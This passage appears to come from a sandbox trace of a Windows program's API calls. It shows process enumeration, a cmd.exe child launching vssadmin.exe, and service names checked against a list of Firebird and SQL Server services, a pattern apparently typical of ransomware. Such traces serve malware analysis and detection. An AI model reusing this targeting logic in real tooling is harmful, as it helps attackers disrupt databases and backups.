returned 1 [0049.787] lstrlenW (lpString="formation.exe") returned 13 [0049.787] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x780, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="whole.exe")) returned 1 [0049.787] lstrlenW (lpString="whole.exe") returned 9 [0049.787] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pollution dominican rural.exe")) returned 1 [0049.788] lstrlenW (lpString="pollution dominican rural.exe") returned 29 [0049.788] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="disorder.exe")) returned 1 [0049.789] lstrlenW (lpString="disorder.exe") returned 12 [0049.789] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="expenseselsewhere.exe")) returned 1 [0049.789] lstrlenW (lpString="expenseselsewhere.exe") returned 21 [0049.790] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nextel-feeds.exe")) returned 1 [0049.790] lstrlenW (lpString="nextel-feeds.exe") returned 16 [0049.790] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="photographymiscellaneousmeters.exe")) returned 1 [0049.791] lstrlenW (lpString="photographymiscellaneousmeters.exe") returned 34 [0049.791] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="perspective.exe")) returned 1 [0049.791] lstrlenW (lpString="perspective.exe") returned 15 [0049.791] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="demand-site.exe")) returned 1 [0049.792] lstrlenW (lpString="demand-site.exe") returned 15 [0049.792] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="attachment.exe")) returned 1 [0049.793] lstrlenW (lpString="attachment.exe") returned 14 [0049.793] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="valid-permit.exe")) returned 1 [0049.793] lstrlenW (lpString="valid-permit.exe") returned 16 [0049.793] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="knights.exe")) returned 1 [0049.794] lstrlenW (lpString="knights.exe") returned 11 [0049.794] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0049.795] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0049.795] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ohbdap.exe")) returned 1 [0049.795] lstrlenW (lpString="ohbdap.exe") returned 10 [0049.796] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0049.796] lstrlenW (lpString="cmd.exe") returned 7 [0049.796] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0049.797] lstrlenW (lpString="conhost.exe") returned 11 [0049.797] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0049.797] lstrlenW (lpString="vssadmin.exe") returned 12 [0049.797] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0049.798] lstrlenW (lpString="VSSVC.exe") returned 9 [0049.798] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.799] lstrlenW (lpString="svchost.exe") returned 11 [0049.799] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0049.799] CloseHandle (hObject=0x21c) returned 1 [0049.800] Sleep (dwMilliseconds=0x1f4) [0050.360] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x52f9e0 [0050.360] EnumServicesStatusExW (in: hSCManager=0x52f9e0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0) returned 0 [0050.361] GetLastError () returned 0xea [0050.361] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x12c6) returned 0x40038c8 [0050.361] EnumServicesStatusExW (in: hSCManager=0x52f9e0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x40038c8, cbBufSize=0x12c6, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x40038c8, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0) returned 1 [0050.361] CloseServiceHandle (hSCObject=0x52f9e0) returned 1 [0050.361] lstrlenW (lpString="Appinfo") returned 7 [0050.361] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0050.361] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0050.361] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0050.361] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0050.362] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0050.362] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0050.362] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0050.362] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0050.362] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0050.362] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0050.362] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0050.362] lstrlenW (lpString="AudioSrv") returned 8 [0050.362] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0050.362] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0050.362] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0050.362] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0050.362] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0050.362] lstrlenW (lpString="BFE") returned 3 [0050.362] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0050.362] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0050.362] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0050.362] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0050.362] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0050.362] lstrlenW (lpString="CryptSvc") returned 8 [0050.362] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0050.362] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0050.362] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0050.362] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0050.362] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0050.362] lstrlenW (lpString="CscService") returned 10 [0050.362] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0050.362] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0050.362] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0050.362] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0050.362] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0050.362] lstrlenW (lpString="DcomLaunch") returned 10 [0050.362] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0050.363] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0050.363] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0050.363] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0050.363] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0050.363] lstrlenW (lpString="Dhcp") returned 4 [0050.363] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0050.363] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0050.363] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0050.363] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0050.363] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0050.363] lstrlenW (lpString="Dnscache") returned 8 [0050.363] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0050.363] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0050.363] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0050.363] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0050.363] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0050.363] lstrlenW (lpString="DPS") returned 3 [0050.363] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0050.363] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0050.363] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0050.363] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0050.363] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0050.363] lstrlenW (lpString="eventlog") returned 8 [0050.363] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0050.363] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0050.363] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0050.363] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0050.363] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0050.363] lstrlenW (lpString="EventSystem") returned 11 [0050.363] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0050.363] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0050.363] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0050.363] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0050.364] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0050.364] lstrlenW (lpString="gpsvc") returned 5 [0050.364] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0050.364] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0050.364] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0050.364] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0050.364] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0050.364] lstrlenW (lpString="iphlpsvc") returned 8 [0050.364] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0050.364] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0050.364] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0050.364] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0050.364] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0050.364] lstrlenW (lpString="LanmanServer") returned 12 [0050.364] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0050.364] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0050.364] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0050.364] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0050.364] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0050.364] lstrlenW (lpString="LanmanWorkstation") returned 17 [0050.364] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0050.364] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0050.364] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0050.364] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0050.364] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0050.364] lstrlenW (lpString="lmhosts") returned 7 [0050.364] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0050.364] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0050.364] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0050.364] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0050.364] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0050.364] lstrlenW (lpString="MMCSS") returned 5 [0050.364] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0050.365] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0050.365] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0050.365] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0050.365] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0050.365] lstrlenW (lpString="MpsSvc") returned 6 [0050.365] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0050.365] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0050.365] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0050.365] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0050.365] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0050.365] lstrlenW (lpString="Netman") returned 6 [0050.365] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0050.365] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0050.365] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0050.365] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0050.365] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0050.365] lstrlenW (lpString="netprofm") returned 8 [0050.365] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0050.365] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0050.365] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0050.365] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0050.365] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0050.365] lstrlenW (lpString="NlaSvc") returned 6 [0050.365] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0050.365] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0050.365] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0050.365] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0050.365] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0050.365] lstrlenW (lpString="nsi") returned 3 [0050.365] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0050.365] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0050.365] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0050.365] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0050.366] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0050.366] lstrlenW (lpString="PcaSvc") returned 6 [0050.366] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0050.366] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0050.366] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0050.366] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0050.366] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0050.366] lstrlenW (lpString="PlugPlay") returned 8 [0050.366] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0050.366] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0050.366] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0050.366] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0050.366] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0050.366] lstrlenW (lpString="Power") returned 5 [0050.366] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0050.366] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0050.366] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0050.366] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0050.366] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0050.366] lstrlenW (lpString="ProfSvc") returned 7 [0050.366] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0050.366] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0050.366] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0050.366] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0050.366] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0050.366] lstrlenW (lpString="RpcEptMapper") returned 12 [0050.366] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0050.366] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0050.366] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0050.366] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0050.366] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0050.366] lstrlenW (lpString="RpcSs") returned 5 [0050.366] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0050.366] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0050.367] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0050.367] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0050.367] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0050.367] lstrlenW (lpString="SamSs") returned 5 [0050.367] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0050.367] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0050.367] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0050.367] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0050.367] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0050.367] lstrlenW (lpString="Schedule") returned 8 [0050.367] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0050.367] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0050.367] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0050.367] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0050.367] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0050.367] lstrlenW (lpString="SENS") returned 4 [0050.367] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0050.367] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0050.367] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0050.367] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0050.367] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0050.367] lstrlenW (lpString="ShellHWDetection") returned 16 [0050.367] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0050.367] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0050.367] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0050.367] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0050.367] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0050.367] lstrlenW (lpString="Spooler") returned 7 [0050.367] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0050.367] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0050.367] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0050.367] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0050.367] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0050.367] lstrlenW (lpString="swprv") returned 5 [0050.368] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0050.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0050.368] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0050.368] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0050.368] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0050.368] lstrlenW (lpString="SysMain") returned 7 [0050.368] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0050.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0050.368] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0050.368] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0050.368] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0050.368] lstrlenW (lpString="Themes") returned 6 [0050.368] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0050.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0050.368] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0050.368] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0050.368] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0050.368] lstrlenW (lpString="TrkWks") returned 6 [0050.368] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0050.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0050.368] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0050.368] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0050.368] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0050.368] lstrlenW (lpString="UxSms") returned 5 [0050.368] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0050.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0050.368] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0050.368] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0050.368] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0050.368] lstrlenW (lpString="VSS") returned 